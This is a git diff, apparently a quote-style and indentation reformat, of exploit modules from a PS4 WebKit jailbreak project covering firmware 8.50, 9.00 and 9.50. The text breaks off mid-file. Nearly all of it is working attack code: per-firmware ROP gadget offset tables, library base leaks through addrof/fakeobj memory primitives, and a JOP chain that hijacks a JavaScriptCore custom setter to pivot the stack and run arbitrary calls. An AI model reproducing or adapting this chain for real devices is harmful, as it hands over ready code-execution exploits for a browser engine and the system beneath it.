libkernel_gadget_offsets = new Map( + Object.entries({ // returns the location of errno - '__error' : 0x10750, -})); + "__error": 0x10750, + }), +); export const gadgets = new Map(); function get_bases() { - const textarea = document.createElement('textarea'); - const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); - const textarea_vtable = webcore_textarea.readp(0); - const off_ta_vt = 0x236d4a0; - const libwebkit_base = textarea_vtable.sub(off_ta_vt); + const textarea = document.createElement("textarea"); + const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); + const textarea_vtable = webcore_textarea.readp(0); + const off_ta_vt = 0x236d4a0; + const libwebkit_base = textarea_vtable.sub(off_ta_vt); - const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); - const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); - const off_scf = 0x153c0; - const libkernel_base = stack_chk_fail_addr.sub(off_scf); + const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); + const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); + const off_scf = 0x153c0; + const libkernel_base = stack_chk_fail_addr.sub(off_scf); - const strlen_import = libwebkit_base.add(offset_wk_strlen); - const strlen_addr = resolve_import(strlen_import); - const off_strlen = 0x4ef40; - const libc_base = strlen_addr.sub(off_strlen); + const strlen_import = libwebkit_base.add(offset_wk_strlen); + const strlen_addr = resolve_import(strlen_import); + const off_strlen = 0x4ef40; + const libc_base = strlen_addr.sub(off_strlen); - return [ - libwebkit_base, - libkernel_base, - libc_base, - ]; + return [libwebkit_base, libkernel_base, libc_base]; } export function init_gadget_map(gadget_map, offset_map, base_addr) { - for (const [insn, offset] of offset_map) { - gadget_map.set(insn, base_addr.add(offset)); - } + for (const [insn, offset] of offset_map) { + gadget_map.set(insn, base_addr.add(offset)); + } } class Chain850Base extends ChainBase { - push_end() { - this.push_gadget('leave; ret'); - } + push_end() { + this.push_gadget("leave; ret"); + } - push_get_retval() { - this.push_gadget('pop rdi; ret'); - this.push_value(this.retval_addr); - this.push_gadget('mov qword ptr [rdi], rax; ret'); - } + push_get_retval() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.retval_addr); + this.push_gadget("mov qword ptr [rdi], rax; ret"); + } - push_get_errno() { - this.push_gadget('pop rdi; ret'); - this.push_value(this.errno_addr); + push_get_errno() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.errno_addr); - this.push_call(this.get_gadget('__error')); + this.push_call(this.get_gadget("__error")); - this.push_gadget('mov rax, qword ptr [rax]; ret'); - this.push_gadget('mov dword ptr [rdi], eax; ret'); - } + this.push_gadget("mov rax, qword ptr [rax]; ret"); + this.push_gadget("mov dword ptr [rdi], eax; ret"); + } - push_clear_errno() { - this.push_call(this.get_gadget('__error')); - this.push_gadget('pop rsi; ret'); - this.push_value(0); - this.push_gadget('mov dword ptr [rax], esi; ret'); - } + push_clear_errno() { + this.push_call(this.get_gadget("__error")); + this.push_gadget("pop rsi; ret"); + this.push_value(0); + this.push_gadget("mov dword ptr [rax], esi; ret"); + } } export class Chain850 extends Chain850Base { - constructor() { - super(); - const [rdx, rdx_bak] = mem.gc_alloc(0x58); - rdx.write64(off.js_cell, this._empty_cell); - rdx.write64(0x50, this.stack_addr); - this._rsp = mem.fakeobj(rdx); - } + constructor() { + super(); + const [rdx, rdx_bak] = mem.gc_alloc(0x58); + rdx.write64(off.js_cell, this._empty_cell); + rdx.write64(0x50, this.stack_addr); + this._rsp = mem.fakeobj(rdx); + } - run() { - this.check_allow_run(); - this._rop.launch = this._rsp; - this.dirty(); - } + run() { + this.check_allow_run(); + this._rop.launch = this._rsp; + this.dirty(); + } } export const Chain = Chain850; export function init(Chain) { - const syscall_array = []; - [libwebkit_base, libkernel_base, libc_base] = get_bases(); + const syscall_array = []; + [libwebkit_base, libkernel_base, libc_base] = get_bases(); - init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); - init_gadget_map(gadgets, libc_gadget_offsets, libc_base); - init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); - init_syscall_array(syscall_array, libkernel_base, 300 * KB); + init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); + init_gadget_map(gadgets, libc_gadget_offsets, libc_base); + init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); + init_syscall_array(syscall_array, libkernel_base, 300 * KB); - let gs = Object.getOwnPropertyDescriptor(window, 'location').set; - // JSCustomGetterSetter.m_getterSetter - gs = mem.addrof(gs).readp(0x28); + let gs = Object.getOwnPropertyDescriptor(window, "location").set; + // JSCustomGetterSetter.m_getterSetter + gs = mem.addrof(gs).readp(0x28); - // sizeof JSC::CustomGetterSetter - const size_cgs = 0x18; - const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); - mem.cpy(gc_buf, gs, size_cgs); - // JSC::CustomGetterSetter.m_setter - gc_buf.write64(0x10, get_gadget(gadgets, jop1)); + // sizeof JSC::CustomGetterSetter + const size_cgs = 0x18; + const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); + mem.cpy(gc_buf, gs, size_cgs); + // JSC::CustomGetterSetter.m_setter + gc_buf.write64(0x10, get_gadget(gadgets, jop1)); - const proto = Chain.prototype; - // _rop must have a descriptor initially in order for the structure to pass - // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a - // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that - // checks for any descriptor to run - // - // the butterfly's indexing type must be something the GC won't inspect - // like DoubleShape. it will be used to store the JOP table's pointer - const _rop = {get launch() {throw Error('never call')}, 0: 1.1}; - // replace .launch with the actual custom getter/setter - mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); - proto._rop = _rop; + const proto = Chain.prototype; + // _rop must have a descriptor initially in order for the structure to pass + // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a + // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that + // checks for any descriptor to run + // + // the butterfly's indexing type must be something the GC won't inspect + // like DoubleShape. it will be used to store the JOP table's pointer + const _rop = { + get launch() { + throw Error("never call"); + }, + 0: 1.1, + }; + // replace .launch with the actual custom getter/setter + mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); + proto._rop = _rop; - // JOP table - const rax_ptrs = new BufferView(0x100); - const rax_ptrs_p = get_view_vector(rax_ptrs); - proto._rax_ptrs = rax_ptrs; + // JOP table + const rax_ptrs = new BufferView(0x100); + const rax_ptrs_p = get_view_vector(rax_ptrs); + proto._rax_ptrs = rax_ptrs; - rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); - rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); - rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); - rax_ptrs.write64(0, get_gadget(gadgets, jop5)); + rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); + rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); + rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); + rax_ptrs.write64(0, get_gadget(gadgets, jop5)); - const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); - jop_buffer_p.write64(0, rax_ptrs_p); + const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); + jop_buffer_p.write64(0, rax_ptrs_p); - const empty = {}; - proto._empty_cell = mem.addrof(empty).read64(off.js_cell); + const empty = {}; + proto._empty_cell = mem.addrof(empty).read64(off.js_cell); - Chain.init_class(gadgets, syscall_array); + Chain.init_class(gadgets, syscall_array); } diff --git a/src/rop/ps4/900.mjs b/src/rop/ps4/900.mjs index 0c2b7f3..a2aedff 100644 --- a/src/rop/ps4/900.mjs +++ b/src/rop/ps4/900.mjs @@ -17,18 +17,14 @@ along with this program. If not, see . */ // 9.00, 9.03, 9.04 -import { mem } from '../../module/mem.mjs'; -import { KB } from '../../module/offset.mjs'; -import { ChainBase, get_gadget } from '../../module/chain.mjs'; -import { BufferView } from '../../module/rw.mjs'; +import { mem } from "../../module/mem.mjs"; +import { KB } from "../../module/offset.mjs"; +import { ChainBase, get_gadget } from "../../module/chain.mjs"; +import { BufferView } from "../../module/rw.mjs"; -import { - get_view_vector, - resolve_import, - init_syscall_array, -} from '../../module/memtools.mjs'; +import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs"; -import * as off from '../../module/offset.mjs'; +import * as off from "../../module/offset.mjs"; // WebKit offsets of imported functions const offset_wk_stack_chk_fail = 0x178; @@ -68,7 +64,7 @@ push rdx mov edi, 0xac9784fe jmp qword ptr [rax] `; -const jop5 = 'pop rsp; ret'; +const jop5 = "pop rsp; ret"; // the ps4 firmware is compiled to use rbp as a frame pointer // @@ -83,179 +79,186 @@ const jop5 = 'pop rsp; ret'; // mov rsp, rbp // pop rbp -const webkit_gadget_offsets = new Map(Object.entries({ - 'pop rax; ret' : 0x0000000000051a12, // `58 c3` - 'pop rbx; ret' : 0x00000000000be5d0, // `5b c3` - 'pop rcx; ret' : 0x00000000000657b7, // `59 c3` - 'pop rdx; ret' : 0x000000000000986c, // `5a c3` +const webkit_gadget_offsets = new Map( + Object.entries({ + "pop rax; ret": 0x0000000000051a12, // `58 c3` + "pop rbx; ret": 0x00000000000be5d0, // `5b c3` + "pop rcx; ret": 0x00000000000657b7, // `59 c3` + "pop rdx; ret": 0x000000000000986c, // `5a c3` - 'pop rbp; ret' : 0x00000000000000b6, // `5d c3` - 'pop rsi; ret' : 0x000000000001f4d6, // `5e c3` - 'pop rdi; ret' : 0x0000000000319690, // `5f c3` - 'pop rsp; ret' : 0x000000000004e293, // `5c c3` + "pop rbp; ret": 0x00000000000000b6, // `5d c3` + "pop rsi; ret": 0x000000000001f4d6, // `5e c3` + "pop rdi; ret": 0x0000000000319690, // `5f c3` + "pop rsp; ret": 0x000000000004e293, // `5c c3` - 'pop r8; ret' : 0x00000000001a7ef1, // `47 58 c3` - 'pop r9; ret' : 0x0000000000422571, // `47 59 c3` - 'pop r10; ret' : 0x0000000000e9e1d1, // `47 5a c3` - 'pop r11; ret' : 0x00000000012b1d51, // `47 5b c3` + "pop r8; ret": 0x00000000001a7ef1, // `47 58 c3` + "pop r9; ret": 0x0000000000422571, // `47 59 c3` + "pop r10; ret": 0x0000000000e9e1d1, // `47 5a c3` + "pop r11; ret": 0x00000000012b1d51, // `47 5b c3` - 'pop r12; ret' : 0x000000000085ec71, // `47 5c c3` - 'pop r13; ret' : 0x00000000001da461, // `47 5d c3` - 'pop r14; ret' : 0x0000000000685d73, // `47 5e c3` - 'pop r15; ret' : 0x00000000006ab3aa, // `47 5f c3` + "pop r12; ret": 0x000000000085ec71, // `47 5c c3` + "pop r13; ret": 0x00000000001da461, // `47 5d c3` + "pop r14; ret": 0x0000000000685d73, // `47 5e c3` + "pop r15; ret": 0x00000000006ab3aa, // `47 5f c3` - 'ret' : 0x0000000000000032, // `c3` - 'leave; ret' : 0x000000000008db5b, // `c9 c3` + "ret": 0x0000000000000032, // `c3` + "leave; ret": 0x000000000008db5b, // `c9 c3` - 'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, // `48 8b 00 c3` - 'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, // `48 89 07 c3` - 'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, // `89 07 c3` - 'mov dword ptr [rax], esi; ret' : 0x00000000005c3482, // `89 30 c3` + "mov rax, qword ptr [rax]; ret": 0x00000000000241cc, // `48 8b 00 c3` + "mov qword ptr [rdi], rax; ret": 0x000000000000613b, // `48 89 07 c3` + "mov dword ptr [rdi], eax; ret": 0x000000000000613c, // `89 07 c3` + "mov dword ptr [rax], esi; ret": 0x00000000005c3482, // `89 30 c3` - [jop1] : 0x0000000000000000, // `` - [jop2] : 0x0000000000000000, // `` - [jop3] : 0x0000000000000000, // `` - [jop4] : 0x0000000000000000, // `` - [jop5] : 0x0000000000000000, // `` -})); + [jop1]: 0x0000000000000000, // `` + [jop2]: 0x0000000000000000, // `` + [jop3]: 0x0000000000000000, // `` + [jop4]: 0x0000000000000000, // `` + [jop5]: 0x0000000000000000, // `` + }), +); -const libc_gadget_offsets = new Map(Object.entries({ - 'getcontext' : 0x24f04, - 'setcontext' : 0x29448, -})); +const libc_gadget_offsets = new Map( + Object.entries({ + "getcontext": 0x24f04, + "setcontext": 0x29448, + }), +); -const libkernel_gadget_offsets = new Map(Object.entries({ +const libkernel_gadget_offsets = new Map( + Object.entries({ // returns the location of errno - '__error' : 0xCB80, -})); + "__error": 0xcb80, + }), +); export const gadgets = new Map(); function get_bases() { - const textarea = document.createElement('textarea'); - const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); - const textarea_vtable = webcore_textarea.readp(0); - const off_ta_vt = 0x2e73c18; - const libwebkit_base = textarea_vtable.sub(off_ta_vt); + const textarea = document.createElement("textarea"); + const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); + const textarea_vtable = webcore_textarea.readp(0); + const off_ta_vt = 0x2e73c18; + const libwebkit_base = textarea_vtable.sub(off_ta_vt); - const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); - const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); - const off_scf = 0x1ff60; - const libkernel_base = stack_chk_fail_addr.sub(off_scf); + const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); + const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); + const off_scf = 0x1ff60; + const libkernel_base = stack_chk_fail_addr.sub(off_scf); - const strlen_import = libwebkit_base.add(offset_wk_strlen); - const strlen_addr = resolve_import(strlen_import); - const off_strlen = 0x4fa40; - const libc_base = strlen_addr.sub(off_strlen); + const strlen_import = libwebkit_base.add(offset_wk_strlen); + const strlen_addr = resolve_import(strlen_import); + const off_strlen = 0x4fa40; + const libc_base = strlen_addr.sub(off_strlen); - return [ - libwebkit_base, - libkernel_base, - libc_base, - ]; + return [libwebkit_base, libkernel_base, libc_base]; } export function init_gadget_map(gadget_map, offset_map, base_addr) { - for (const [insn, offset] of offset_map) { - gadget_map.set(insn, base_addr.add(offset)); - } + for (const [insn, offset] of offset_map) { + gadget_map.set(insn, base_addr.add(offset)); + } } class Chain900Base extends ChainBase { - push_end() { - this.push_gadget('leave; ret'); - } + push_end() { + this.push_gadget("leave; ret"); + } - push_get_retval() { - this.push_gadget('pop rdi; ret'); - this.push_value(this.retval_addr); - this.push_gadget('mov qword ptr [rdi], rax; ret'); - } + push_get_retval() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.retval_addr); + this.push_gadget("mov qword ptr [rdi], rax; ret"); + } - push_get_errno() { - this.push_gadget('pop rdi; ret'); - this.push_value(this.errno_addr); + push_get_errno() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.errno_addr); - this.push_call(this.get_gadget('__error')); + this.push_call(this.get_gadget("__error")); - this.push_gadget('mov rax, qword ptr [rax]; ret'); - this.push_gadget('mov dword ptr [rdi], eax; ret'); - } + this.push_gadget("mov rax, qword ptr [rax]; ret"); + this.push_gadget("mov dword ptr [rdi], eax; ret"); + } - push_clear_errno() { - this.push_call(this.get_gadget('__error')); - this.push_gadget('pop rsi; ret'); - this.push_value(0); - this.push_gadget('mov dword ptr [rax], esi; ret'); - } + push_clear_errno() { + this.push_call(this.get_gadget("__error")); + this.push_gadget("pop rsi; ret"); + this.push_value(0); + this.push_gadget("mov dword ptr [rax], esi; ret"); + } } export class Chain900 extends Chain900Base { - constructor() { - super(); - const [rdx, rdx_bak] = mem.gc_alloc(0x58); - rdx.write64(off.js_cell, this._empty_cell); - rdx.write64(0x50, this.stack_addr); - this._rsp = mem.fakeobj(rdx); - } + constructor() { + super(); + const [rdx, rdx_bak] = mem.gc_alloc(0x58); + rdx.write64(off.js_cell, this._empty_cell); + rdx.write64(0x50, this.stack_addr); + this._rsp = mem.fakeobj(rdx); + } - run() { - this.check_allow_run(); - this._rop.launch = this._rsp; - this.dirty(); - } + run() { + this.check_allow_run(); + this._rop.launch = this._rsp; + this.dirty(); + } } export const Chain = Chain900; export function init(Chain) { - const syscall_array = []; - [libwebkit_base, libkernel_base, libc_base] = get_bases(); + const syscall_array = []; + [libwebkit_base, libkernel_base, libc_base] = get_bases(); - init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); - init_gadget_map(gadgets, libc_gadget_offsets, libc_base); - init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); - init_syscall_array(syscall_array, libkernel_base, 300 * KB); + init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); + init_gadget_map(gadgets, libc_gadget_offsets, libc_base); + init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); + init_syscall_array(syscall_array, libkernel_base, 300 * KB); - let gs = Object.getOwnPropertyDescriptor(window, 'location').set; - // JSCustomGetterSetter.m_getterSetter - gs = mem.addrof(gs).readp(0x28); + let gs = Object.getOwnPropertyDescriptor(window, "location").set; + // JSCustomGetterSetter.m_getterSetter + gs = mem.addrof(gs).readp(0x28); - // sizeof JSC::CustomGetterSetter - const size_cgs = 0x18; - const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); - mem.cpy(gc_buf, gs, size_cgs); - // JSC::CustomGetterSetter.m_setter - gc_buf.write64(0x10, get_gadget(gadgets, jop1)); + // sizeof JSC::CustomGetterSetter + const size_cgs = 0x18; + const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); + mem.cpy(gc_buf, gs, size_cgs); + // JSC::CustomGetterSetter.m_setter + gc_buf.write64(0x10, get_gadget(gadgets, jop1)); - const proto = Chain.prototype; - // _rop must have a descriptor initially in order for the structure to pass - // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a - // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that - // checks for any descriptor to run - // - // the butterfly's indexing type must be something the GC won't inspect - // like DoubleShape. it will be used to store the JOP table's pointer - const _rop = {get launch() {throw Error('never call')}, 0: 1.1}; - // replace .launch with the actual custom getter/setter - mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); - proto._rop = _rop; + const proto = Chain.prototype; + // _rop must have a descriptor initially in order for the structure to pass + // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a + // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that + // checks for any descriptor to run + // + // the butterfly's indexing type must be something the GC won't inspect + // like DoubleShape. it will be used to store the JOP table's pointer + const _rop = { + get launch() { + throw Error("never call"); + }, + 0: 1.1, + }; + // replace .launch with the actual custom getter/setter + mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); + proto._rop = _rop; - // JOP table - const rax_ptrs = new BufferView(0x100); - const rax_ptrs_p = get_view_vector(rax_ptrs); - proto._rax_ptrs = rax_ptrs; + // JOP table + const rax_ptrs = new BufferView(0x100); + const rax_ptrs_p = get_view_vector(rax_ptrs); + proto._rax_ptrs = rax_ptrs; - rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); - rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); - rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); - rax_ptrs.write64(0, get_gadget(gadgets, jop5)); + rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); + rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); + rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); + rax_ptrs.write64(0, get_gadget(gadgets, jop5)); - const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); - jop_buffer_p.write64(0, rax_ptrs_p); + const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); + jop_buffer_p.write64(0, rax_ptrs_p); - const empty = {}; - proto._empty_cell = mem.addrof(empty).read64(off.js_cell); + const empty = {}; + proto._empty_cell = mem.addrof(empty).read64(off.js_cell); - Chain.init_class(gadgets, syscall_array); + Chain.init_class(gadgets, syscall_array); } diff --git a/src/rop/ps4/950.mjs b/src/rop/ps4/950.mjs index 9777eb7..05fd7b1 100644 --- a/src/rop/ps4/950.mjs +++ b/src/rop/ps4/950.mjs @@ -17,18 +17,14 @@ along with this program. If not, see . */ // 9.50, 9.51, 9.60 -import { mem } from '../../module/mem.mjs'; -import { KB } from '../../module/offset.mjs'; -import { ChainBase, get_gadget } from '../../module/chain.mjs'; -import { BufferView } from '../../module/rw.mjs'; +import { mem } from "../../module/mem.mjs"; +import { KB } from "../../module/offset.mjs"; +import { ChainBase, get_gadget } from "../../module/chain.mjs"; +import { BufferView } from "../../module/rw.mjs"; -import { - get_view_vector, - resolve_import, - init_syscall_array, -} from '../../module/memtools.mjs'; +import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs"; -import * as off from '../../module/offset.mjs'; +import * as off from "../../module/offset.mjs"; // WebKit offsets of imported functions const offset_wk_stack_chk_fail = 0x178; @@ -68,7 +64,7 @@ push rdx mov edi, 0xac9784fe jmp qword ptr [rax] `; -const jop5 = 'pop rsp; ret'; +const jop5 = "pop rsp; ret"; // the ps4 firmware is compiled to use rbp as a frame pointer // @@ -83,180 +79,187 @@ const jop5 = 'pop rsp; ret'; // mov rsp, rbp // pop rbp -const webkit_gadget_offsets = new Map(Object.entries({ - 'pop rax; ret' : 0x0000000000011c46, // `58 c3` - 'pop rbx; ret' : 0x0000000000013730, // `5b c3` - 'pop rcx; ret' : 0x0000000000035a1e, // `59 c3` - 'pop rdx; ret' : 0x000000000018de52, // `5a c3` +const webkit_gadget_offsets = new Map( + Object.entries({ + "pop rax; ret": 0x0000000000011c46, // `58 c3` + "pop rbx; ret": 0x0000000000013730, // `5b c3` + "pop rcx; ret": 0x0000000000035a1e, // `59 c3` + "pop rdx; ret": 0x000000000018de52, // `5a c3` - 'pop rbp; ret' : 0x00000000000000b6, // `5d c3` - 'pop rsi; ret' : 0x0000000000092a8c, // `5e c3` - 'pop rdi; ret' : 0x000000000005d19d, // `5f c3` - 'pop rsp; ret' : 0x00000000000253e0, // `5c c3` + "pop rbp; ret": 0x00000000000000b6, // `5d c3` + "pop rsi; ret": 0x0000000000092a8c, // `5e c3` + "pop rdi; ret": 0x000000000005d19d, // `5f c3` + "pop rsp; ret": 0x00000000000253e0, // `5c c3` - 'pop r8; ret' : 0x000000000003fe32, // `47 58 c3` - 'pop r9; ret' : 0x0000000000aaad51, // `47 59 c3` + "pop r8; ret": 0x000000000003fe32, // `47 58 c3` + "pop r9; ret": 0x0000000000aaad51, // `47 59 c3` // Not found in 9.50-9.60, but not currently used in exploit - // 'pop r10; ret' : 0x0000000000000000, // `4(1,3,5,7,9,b,d,f) 5a c3` - 'pop r11; ret' : 0x0000000001833a21, // `47 5b c3` + // "pop r10; ret" : 0x0000000000000000, // `4(1,3,5,7,9,b,d,f) 5a c3` + "pop r11; ret": 0x0000000001833a21, // `47 5b c3` - 'pop r12; ret' : 0x0000000000420ad1, // `47 5c c3` - 'pop r13; ret' : 0x00000000018fc4c1, // `47 5d c3` - 'pop r14; ret' : 0x000000000028c900, // `41 5e c3` - 'pop r15; ret' : 0x0000000001437c8a, // `47 5f c3` + "pop r12; ret": 0x0000000000420ad1, // `47 5c c3` + "pop r13; ret": 0x00000000018fc4c1, // `47 5d c3` + "pop r14; ret": 0x000000000028c900, // `41 5e c3` + "pop r15; ret": 0x0000000001437c8a, // `47 5f c3` - 'ret' : 0x0000000000000032, // `c3` - 'leave; ret' : 0x0000000000056322, // `c9 c3` + "ret": 0x0000000000000032, // `c3` + "leave; ret": 0x0000000000056322, // `c9 c3` - 'mov rax, qword ptr [rax]; ret' : 0x000000000000c671, // `48 8b 00 c3` - 'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07, // `48 89 07 c3` - 'mov dword ptr [rdi], eax; ret' : 0x00000000000071d0, // `89 07 c3` - 'mov dword ptr [rax], esi; ret' : 0x000000000007ebd8, // `89 30 c3` + "mov rax, qword ptr [rax]; ret": 0x000000000000c671, // `48 8b 00 c3` + "mov qword ptr [rdi], rax; ret": 0x0000000000010c07, // `48 89 07 c3` + "mov dword ptr [rdi], eax; ret": 0x00000000000071d0, // `89 07 c3` + "mov dword ptr [rax], esi; ret": 0x000000000007ebd8, // `89 30 c3` - [jop1] : 0x0000000000000000, // `` - [jop2] : 0x0000000000000000, // `` - [jop3] : 0x0000000000000000, // `` - [jop4] : 0x0000000000000000, // `` - [jop5] : 0x0000000000000000, // `` -})); + [jop1]: 0x0000000000000000, // `` + [jop2]: 0x0000000000000000, // `` + [jop3]: 0x0000000000000000, // `` + [jop4]: 0x0000000000000000, // `` + [jop5]: 0x0000000000000000, // `` + }), +); -const libc_gadget_offsets = new Map(Object.entries({ - 'getcontext' : 0x21284, - 'setcontext' : 0x254dc, -})); +const libc_gadget_offsets = new Map( + Object.entries({ + "getcontext": 0x21284, + "setcontext": 0x254dc, + }), +); -const libkernel_gadget_offsets = new Map(Object.entries({ +const libkernel_gadget_offsets = new Map( + Object.entries({ // returns the location of errno - '__error' : 0xbb60, -})); + "__error": 0xbb60, + }), +); export const gadgets = new Map(); function get_bases() { - const textarea = document.createElement('textarea'); - const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); - const textarea_vtable = webcore_textarea.readp(0); - const off_ta_vt = 0x2ebea68; - const libwebkit_base = textarea_vtable.sub(off_ta_vt); + const textarea = document.createElement("textarea"); + const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); + const textarea_vtable = webcore_textarea.readp(0); + const off_ta_vt = 0x2ebea68; + const libwebkit_base = textarea_vtable.sub(off_ta_vt); - const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); - const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); - const off_scf = 0x28870; - const libkernel_base = stack_chk_fail_addr.sub(off_scf); + const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); + const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); + const off_scf = 0x28870; + const libkernel_base = stack_chk_fail_addr.sub(off_scf); - const strlen_import = libwebkit_base.add(offset_wk_strlen); - const strlen_addr = resolve_import(strlen_import); - const off_strlen = 0x4c040; - const libc_base = strlen_addr.sub(off_strlen); + const strlen_import = libwebkit_base.add(offset_wk_strlen); + const strlen_addr = resolve_import(strlen_import); + const off_strlen = 0x4c040; + const libc_base = strlen_addr.sub(off_strlen); - return [ - libwebkit_base, - libkernel_base, - libc_base, - ]; + return [libwebkit_base, libkernel_base, libc_base]; } export function init_gadget_map(gadget_map, offset_map, base_addr) { - for (const [insn, offset] of offset_map) { - gadget_map.set(insn, base_addr.add(offset)); - } + for (const [insn, offset] of offset_map) { + gadget_map.set(insn, base_addr.add(offset)); + } } class Chain950Base extends ChainBase { - push_end() { - this.push_gadget('leave; ret'); - } + push_end() { + this.push_gadget("leave; ret"); + } - push_get_retval() { - this.push_gadget('pop rdi; ret'); - this.push_value(this.retval_addr); - this.push_gadget('mov qword ptr [rdi], rax; ret'); - } + push_get_retval() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.retval_addr); + this.push_gadget("mov qword ptr [rdi], rax; ret"); + } - push_get_errno() { - this.push_gadget('pop rdi; ret'); - this.push_value(this.errno_addr); + push_get_errno() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.errno_addr); - this.push_call(this.get_gadget('__error')); + this.push_call(this.get_gadget("__error")); - this.push_gadget('mov rax, qword ptr [rax]; ret'); - this.push_gadget('mov dword ptr [rdi], eax; ret'); - } + this.push_gadget("mov rax, qword ptr [rax]; ret"); + this.push_gadget("mov dword ptr [rdi], eax; ret"); + } - push_clear_errno() { - this.push_call(this.get_gadget('__error')); - this.push_gadget('pop rsi; ret'); - this.push_value(0); - this.push_gadget('mov dword ptr [rax], esi; ret'); - } + push_clear_errno() { + this.push_call(this.get_gadget("__error")); + this.push_gadget("pop rsi; ret"); + this.push_value(0); + this.push_gadget("mov dword ptr [rax], esi; ret"); + } } export class Chain950 extends Chain950Base { - constructor() { - super(); - const [rdx, rdx_bak] = mem.gc_alloc(0x58); - rdx.write64(off.js_cell, this._empty_cell); - rdx.write64(0x50, this.stack_addr); - this._rsp = mem.fakeobj(rdx); - } + constructor() { + super(); + const [rdx, rdx_bak] = mem.gc_alloc(0x58); + rdx.write64(off.js_cell, this._empty_cell); + rdx.write64(0x50, this.stack_addr); + this._rsp = mem.fakeobj(rdx); + } - run() { - this.check_allow_run(); - this._rop.launch = this._rsp; - this.dirty(); - } + run() { + this.check_allow_run(); + this._rop.launch = this._rsp; + this.dirty(); + } } export const Chain = Chain950; export function init(Chain) { - const syscall_array = []; - [libwebkit_base, libkernel_base, libc_base] = get_bases(); + const syscall_array = []; + [libwebkit_base, libkernel_base, libc_base] = get_bases(); - init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); - init_gadget_map(gadgets, libc_gadget_offsets, libc_base); - init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); - init_syscall_array(syscall_array, libkernel_base, 300 * KB); + init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); + init_gadget_map(gadgets, libc_gadget_offsets, libc_base); + init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); + init_syscall_array(syscall_array, libkernel_base, 300 * KB); - let gs = Object.getOwnPropertyDescriptor(window, 'location').set; - // JSCustomGetterSetter.m_getterSetter - gs = mem.addrof(gs).readp(0x28); + let gs = Object.getOwnPropertyDescriptor(window, "location").set; + // JSCustomGetterSetter.m_getterSetter + gs = mem.addrof(gs).readp(0x28); - // sizeof JSC::CustomGetterSetter - const size_cgs = 0x18; - const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); - mem.cpy(gc_buf, gs, size_cgs); - // JSC::CustomGetterSetter.m_setter - gc_buf.write64(0x10, get_gadget(gadgets, jop1)); + // sizeof JSC::CustomGetterSetter + const size_cgs = 0x18; + const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); + mem.cpy(gc_buf, gs, size_cgs); + // 